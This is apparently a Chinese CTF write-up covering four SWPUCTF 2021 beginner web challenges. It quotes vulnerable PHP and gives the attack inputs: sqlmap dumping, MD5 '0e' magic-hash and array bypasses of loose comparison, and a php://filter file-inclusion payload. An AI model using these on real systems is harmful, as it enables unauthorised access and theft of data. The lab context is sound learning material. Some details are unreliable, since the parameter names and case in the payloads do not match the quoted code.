web
[SWPUCTF 2021 新生赛]easy_sql
我可能不知道怎么写参数,但是我会用 sqlmap
.
python3 sqlmap.py -u .... --dump testdb
另外说一句,直接用 --dump-all
是很蠢的行为 因为可能会 dump 到 mysql 的配置数据库,显然对拿到 flag 没什么帮助。
try to use --dbs
.
[SWPUCTF 2021 新生赛]jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
简单的代码审计。
显然想要拿到 flag 只需要 post 一个内容为 wllmnb 的 id ,再在 json 把变量 x 赋值 wllm 即可。
用 hackbar 完成。
另:json
JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。
JSON的值:
3.1 JSON的构成: ws 值
3.2值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
3.2.1对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:
{"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}
引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
3.2.2数组是由方括号括起来的一组值构成,如:
[3, 1, 4, 1, 5, 9, 2, 6]
3.2.3 字符串与C或者Java的字符串非常相似。字符串是由双引号包围的任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
3.2.4数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。
[SWPUCTF 2021 新生赛]easy_md5
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
wrong!
需要 get 一个 name , post 一个 password
且需要 name 和 password 的值不相等但 md5 又要相等。
考点: php 弱比较
==不会对比类型
===也会对比类型
可以采用两个0e(php会将每个0e开头的哈希值解释为0)开头的哈希值进行绕过
弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
代码审计:要求get获取的a和b的值要求不相等,但要求其md值相同
以下是一些字符串md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
payload:?a=QNKCDZO&b=240610708 即可绕过
也可以采用两个数组进行绕过(MD5无法对数组进行加密,因此返回值均为NULL)
另: isset 函数用来判断一个变量是否被声明 返回布尔类型。
[SWPUCTF 2021 新生赛]include
先告诉我们传入一个 file 试试,于是 ?file=114514
然后出现如下
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中
发现玄机在于 flag.php 但是 ?=flag.php 无回显。
于是我们想到使用 php 伪协议 把源代码转变成 base64 编码后再一次 decode 查看到源代码。
?file=php://filter/read=convert.base64-encode/resource=flag.php
关于 php 伪协议 https://www.php.cn/faq/481803.html
include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true
标签:include,记录,JSON,2024,flag,3.2,字符串,php,NSSCTF From: https://www.cnblogs.com/reverber/p/18132071/ctf